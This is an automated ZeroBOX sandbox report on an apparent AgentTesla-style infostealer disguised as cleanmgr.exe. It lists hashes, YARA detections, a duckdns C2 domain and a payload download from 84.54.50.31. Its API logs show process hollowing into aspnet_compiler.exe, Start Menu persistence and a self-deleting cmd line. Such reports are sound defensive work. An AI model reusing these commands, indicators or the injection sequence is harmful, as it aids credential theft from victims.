popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

cleanmgr.exe

Client SW User Data Stealer info stealer browser Chrome Downloader Confuser .NET Google User Data ScreenShot Create Service KeyLogger Internet API Socket Escalate priviledges DNS PWS Sniff Audio AntiDebug .NET EXE PE64 PE File AntiVM PE32
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6401 June 26, 2023, 2:21 p.m. June 26, 2023, 2:23 p.m.
Size 14.5KB
Type PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5 f503da8eee4e7cd822239110b488b08b
SHA256 7874d15ca173ee419b69c1ac2cae4eb6f158a8c1285b9bff7e59af840bed251e
CRC32 816C7720
ssdeep 384:N6P1J3MxbGglqBcpnHp//UeUB7Eb2eqJT:N6dkQBcLSB7Eb21t
PDB Path C:\Users\Administrator\Documents\CryptoObfuscator_Output\BHHHG66.pdb
Yara
  • Is_DotNET_EXE - (no description)
  • PE_Header_Zero - PE File Signature
  • IsPE32 - (no description)

Name Response Post-Analysis Lookup
pekonomiana.duckdns.org
A 134.19.179.211
134.19.179.211
IP Address Status Action
134.19.179.211 Active Moloch
164.124.101.2 Active Moloch
84.54.50.31 Active Moloch

Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: Y
console_handle: 0x00000007
1 1 0
registry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid
pdb_path C:\Users\Administrator\Documents\CryptoObfuscator_Output\BHHHG66.pdb
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
suspicious_features GET method with no useragent header, Connection to IP address suspicious_request GET http://84.54.50.31/D/YY.exe
domain pekonomiana.duckdns.org
request GET http://84.54.50.31/D/YY.exe
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2564
region_size: 2162688
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x008f0000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2564
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00ac0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2564
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x727a1000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2564
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x727a2000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2564
region_size: 1179648
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00b00000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2564
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00be0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2564
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00452000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2564
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00485000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2564
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0048b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2564
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00487000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2564
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0046c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2564
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00600000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2564
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00476000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2564
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0047a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2564
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00477000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2564
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00601000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2564
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0045a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2564
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0047b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2716
region_size: 1441792
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000000b50000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2716
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000000c30000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2716
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3ba1000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2716
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef423b000
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2716
region_size: 2293760
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000023d0000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2716
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000002580000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2716
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3ba2000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2716
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3ba2000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2716
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3ba2000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2716
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3ba2000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2716
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3ba2000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2716
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3ba2000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2716
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3ba2000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2716
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3ba2000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2716
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3ba2000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2716
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3ba2000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2716
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3ba2000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2716
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3ba4000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2716
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3ba4000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2716
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3ba4000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2716
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3ba4000
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2716
region_size: 655360
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff10000
allocation_type: 1056768 (MEM_RESERVE|MEM_TOP_DOWN)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2716
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff10000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2716
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff10000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2716
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff20000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2716
region_size: 65536
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff00000
allocation_type: 1056768 (MEM_RESERVE|MEM_TOP_DOWN)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2716
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff00000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2716
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe9441a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2716
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe9442c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2716
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe94540000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2716
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe94541000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2716
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe94542000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0
description YY.exe tried to sleep 177 seconds, actually delayed analysis time by 177 seconds
file C:\Users\test22\AppData\Roaming\Microsoft\Windows\Start Menu\YY.exe
cmdline cmd.exe /C choice /C Y /N /D Y /T 1 & Del "C:\Users\test22\AppData\Local\Temp\cleanmgr.exe"
cmdline "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 1 & Del "C:\Users\test22\AppData\Local\Temp\cleanmgr.exe"
file C:\Users\test22\AppData\Roaming\Microsoft\Windows\Start Menu\YY.exe
file C:\Users\test22\AppData\Local\Temp\cleanmgr.exe
Time & API Arguments Status Return Repeated

ShellExecuteExW

 show_type: 0
filepath_r: cmd.exe
parameters: /C choice /C Y /N /D Y /T 1 & Del "C:\Users\test22\AppData\Local\Temp\cleanmgr.exe"
filepath: cmd.exe
1 1 0
Time & API Arguments Status Return Repeated

GetAdaptersAddresses

 flags: 15
family: 0
111 0
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
description Create a windows service rule Create_Service
description Communications over RAW Socket rule Network_TCP_Socket
description Communications use DNS rule Network_DNS
description Win.Trojan.agentTesla rule Win_Trojan_agentTesla_Zero
description PWS Memory rule Generic_PWS_Memory_Zero
description Record Audio rule Sniff_Audio
description browser info stealer rule infoStealer_browser_Zero
description Match Windows Inet API call rule Str_Win32_Internet_API
description Google Chrome User Data Check rule Chrome_User_Data_Check_Zero
description Take ScreenShot rule ScreenShot
description Escalate priviledges rule Escalate_priviledges
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
description Affect hook table rule win_hook
description Run a KeyLogger rule KeyLogger
description File Downloader rule Network_Downloader
cmdline cmd.exe /C choice /C Y /N /D Y /T 1 & Del "C:\Users\test22\AppData\Local\Temp\cleanmgr.exe"
cmdline "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 1 & Del "C:\Users\test22\AppData\Local\Temp\cleanmgr.exe"
host 84.54.50.31
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 528384
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000000400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x0000000000000220
1 0 0
Time & API Arguments Status Return Repeated

WriteProcessMemory

 buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $ì !¨ier¨ier¨ierõ”r»ierõ–rierõ—r¶ier¡ár©ier6É¢rªier7fs²ier7`s’ier7asŠier¡ör±ier¨idršher7lsÊier7šr©ier7gs©ierRich¨ierPELzïldà br9€@€Þ€ÐJÐ; Â84ÃØÂ@€Ì.textë`b `.rdata x€zf@@.data”\à@À.tls `î@À.gfids0pð@@.rsrcÐJ€Lô@@.reloc;Ð<@@B
base_address: 0x0000000000400000
process_identifier: 2748
process_handle: 0x0000000000000220
1 1 0

WriteProcessMemory

 buffer: €ÿÿÿÿ±¿DNæ@»ÿÿÿÿ Copyright (c) by P.J. Plauger, licensed by Dinkumware, Ltd. ALL RIGHTS RESERVED.ÿÿÿÿ “    ŒÅEÈEŠÅE..€G\G\G\G\G\G\G\G\G\G„G`G`G`G`G`G`G`GˆGÿÿÿÿÈE¨G¨G¨G¨G¨GˆGËEÌEØÚEèG€GCPSTPDT°GðGÿÿÿÿÿÿÿÿÿÿÿÿ€ ¤`‚y‚!¦ß¡¥Ÿàü@~€ü¨Á£Ú£ þ@þµÁ£Ú£ þAþ¶Ï¢ä¢å¢è¢[þ@~¡þQQÚ^Ú _ÚjÚ2ÓØÞàù1~þ abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ€Gþÿÿÿþÿÿÿu˜Ï!­tåša¾Œe¸‘¢z»Œ^ž âȨ3œ¶F¦<A ¶FL?A¶Fk<A”†E.?AVtype_info@@”†E.?AVbad_alloc@std@@”†E.?AVbad_array_new_length@std@@”†E.?AVlogic_error@std@@”†E.?AVlength_error@std@@”†E.?AVout_of_range@std@@”†E.?AV_Facet_base@std@@”†E.?AV_Locimp@locale@std@@”†E.?AVfacet@locale@std@@”†E.?AU_Crt_new_delete@std@@”†E.?AVcodecvt_base@std@@”†E.?AUctype_base@std@@”†E.?AV?$ctype@D@std@@”†E.?AV?$codecvt@DDU_Mbstatet@@@std@@”†E.?AVbad_exception@std@@”†E.H”†E.?AVfailure@ios_base@std@@”†E.?AVruntime_error@std@@”†E.?AVsystem_error@std@@”†E.?AVbad_cast@std@@”†E.?AV_System_error@std@@”†E.?AVexception@std@@
base_address: 0x0000000000470000
process_identifier: 2748
process_handle: 0x0000000000000220
1 1 0

WriteProcessMemory

 buffer: €
base_address: 0x0000000000476000
process_identifier: 2748
process_handle: 0x0000000000000220
1 1 0

WriteProcessMemory

 buffer: Ò*·*‡>,/F/‡>”/‡>)߇>Úáˋu‹úqÎq‹/.êêÌGtG‡>‡>|r{N//ßþ&ùõƒL˜ù˜ù°onr€°X±¡Õn5w Ĩ U|Àq0¤R¼Z b Er4NPNWN]TUZ[ äøää äö_^îØØäüûüû í9<8;ú` Ÿž†…¢†…§µ¶³´±²¯°†…¸ Ÿ†… Y
base_address: 0x0000000000477000
process_identifier: 2748
process_handle: 0x0000000000000220
1 1 0

WriteProcessMemory

 buffer: @
base_address: 0x000000007efde008
process_identifier: 2748
process_handle: 0x0000000000000220
1 1 0
Time & API Arguments Status Return Repeated

WriteProcessMemory

 buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $ì !¨ier¨ier¨ierõ”r»ierõ–rierõ—r¶ier¡ár©ier6É¢rªier7fs²ier7`s’ier7asŠier¡ör±ier¨idršher7lsÊier7šr©ier7gs©ierRich¨ierPELzïldà br9€@€Þ€ÐJÐ; Â84ÃØÂ@€Ì.textë`b `.rdata x€zf@@.data”\à@À.tls `î@À.gfids0pð@@.rsrcÐJ€Lô@@.reloc;Ð<@@B
base_address: 0x0000000000400000
process_identifier: 2748
process_handle: 0x0000000000000220
1 1 0
Process injection Process 2716 resumed a thread in remote process 2748
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x000000000000015c
suspend_count: 1
process_identifier: 2748
1 0 0
dead_host 134.19.179.211:30491
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x000000dc
suspend_count: 1
process_identifier: 2564
1 0 0

NtResumeThread

 thread_handle: 0x00000150
suspend_count: 1
process_identifier: 2564
1 0 0

NtResumeThread

 thread_handle: 0x0000018c
suspend_count: 1
process_identifier: 2564
1 0 0

NtResumeThread

 thread_handle: 0x00000340
suspend_count: 1
process_identifier: 2564
1 0 0

NtResumeThread

 thread_handle: 0x0000038c
suspend_count: 1
process_identifier: 2564
1 0 0

CreateProcessInternalW

 thread_identifier: 2720
thread_handle: 0x000004fc
process_identifier: 2716
current_directory: C:\Users\test22\AppData\Local\Temp
filepath: C:\Users\test22\AppData\Roaming\Microsoft\Windows\Start Menu\YY.exe
track: 1
command_line: "C:\Users\test22\AppData\Roaming\Microsoft\Windows\Start Menu\YY.exe"
filepath_r: C:\Users\test22\AppData\Roaming\Microsoft\Windows\Start Menu\YY.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x00000504
1 1 0

NtResumeThread

 thread_handle: 0x000004a0
suspend_count: 1
process_identifier: 2564
1 0 0

CreateProcessInternalW

 thread_identifier: 2764
thread_handle: 0x00000524
process_identifier: 2760
current_directory: C:\Users\test22\AppData\Local\Temp
filepath: C:\Windows\System32\cmd.exe
track: 1
command_line: "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 1 & Del "C:\Users\test22\AppData\Local\Temp\cleanmgr.exe"
filepath_r: C:\Windows\System32\cmd.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x00000538
1 1 0

NtResumeThread

 thread_handle: 0x00000000000000c4
suspend_count: 1
process_identifier: 2716
1 0 0

NtResumeThread

 thread_handle: 0x0000000000000138
suspend_count: 1
process_identifier: 2716
1 0 0

NtResumeThread

 thread_handle: 0x0000000000000178
suspend_count: 1
process_identifier: 2716
1 0 0

NtResumeThread

 thread_handle: 0x00000000000001e4
suspend_count: 1
process_identifier: 2716
1 0 0

NtGetContextThread

 thread_handle: 0x00000000000000cc
1 0 0

NtResumeThread

 thread_handle: 0x00000000000000cc
suspend_count: 1
process_identifier: 2716
1 0 0

NtGetContextThread

 thread_handle: 0x0000000000000138
1 0 0

NtGetContextThread

 thread_handle: 0x0000000000000138
1 0 0

NtResumeThread

 thread_handle: 0x0000000000000138
suspend_count: 1
process_identifier: 2716
1 0 0

NtResumeThread

 thread_handle: 0x00000000000001f8
suspend_count: 1
process_identifier: 2716
1 0 0

NtResumeThread

 thread_handle: 0x000000000000021c
suspend_count: 1
process_identifier: 2716
1 0 0

NtGetContextThread

 thread_handle: 0x00000000000000cc
1 0 0

NtGetContextThread

 thread_handle: 0x00000000000000cc
1 0 0

NtResumeThread

 thread_handle: 0x00000000000000cc
suspend_count: 1
process_identifier: 2716
1 0 0

NtResumeThread

 thread_handle: 0x00000000000001e4
suspend_count: 1
process_identifier: 2716
1 0 0

NtGetContextThread

 thread_handle: 0x00000000000000cc
1 0 0

NtGetContextThread

 thread_handle: 0x00000000000000cc
1 0 0

NtResumeThread

 thread_handle: 0x00000000000000cc
suspend_count: 1
process_identifier: 2716
1 0 0

NtGetContextThread

 thread_handle: 0x00000000000000cc
1 0 0

NtGetContextThread

 thread_handle: 0x00000000000000cc
1 0 0

NtResumeThread

 thread_handle: 0x00000000000000cc
suspend_count: 1
process_identifier: 2716
1 0 0

NtGetContextThread

 thread_handle: 0x0000000000000138
1 0 0

NtResumeThread

 thread_handle: 0x0000000000000138
suspend_count: 1
process_identifier: 2716
1 0 0

NtGetContextThread

 thread_handle: 0x00000000000000cc
1 0 0

NtGetContextThread

 thread_handle: 0x00000000000000cc
1 0 0

NtResumeThread

 thread_handle: 0x00000000000000cc
suspend_count: 1
process_identifier: 2716
1 0 0

CreateProcessInternalW

 thread_identifier: 2744
thread_handle: 0x000000000000015c
process_identifier: 2748
current_directory:
filepath: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
track: 1
command_line: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
filepath_r: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
stack_pivoted: 0
creation_flags: 4 (CREATE_SUSPENDED)
inherit_handles: 0
process_handle: 0x0000000000000220
1 1 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 528384
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000000400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x0000000000000220
1 0 0

WriteProcessMemory

 buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $ì !¨ier¨ier¨ierõ”r»ierõ–rierõ—r¶ier¡ár©ier6É¢rªier7fs²ier7`s’ier7asŠier¡ör±ier¨idršher7lsÊier7šr©ier7gs©ierRich¨ierPELzïldà br9€@€Þ€ÐJÐ; Â84ÃØÂ@€Ì.textë`b `.rdata x€zf@@.data”\à@À.tls `î@À.gfids0pð@@.rsrcÐJ€Lô@@.reloc;Ð<@@B
base_address: 0x0000000000400000
process_identifier: 2748
process_handle: 0x0000000000000220
1 1 0

WriteProcessMemory

 buffer:
base_address: 0x0000000000401000
process_identifier: 2748
process_handle: 0x0000000000000220
1 1 0

WriteProcessMemory

 buffer:
base_address: 0x0000000000458000
process_identifier: 2748
process_handle: 0x0000000000000220
1 1 0

WriteProcessMemory

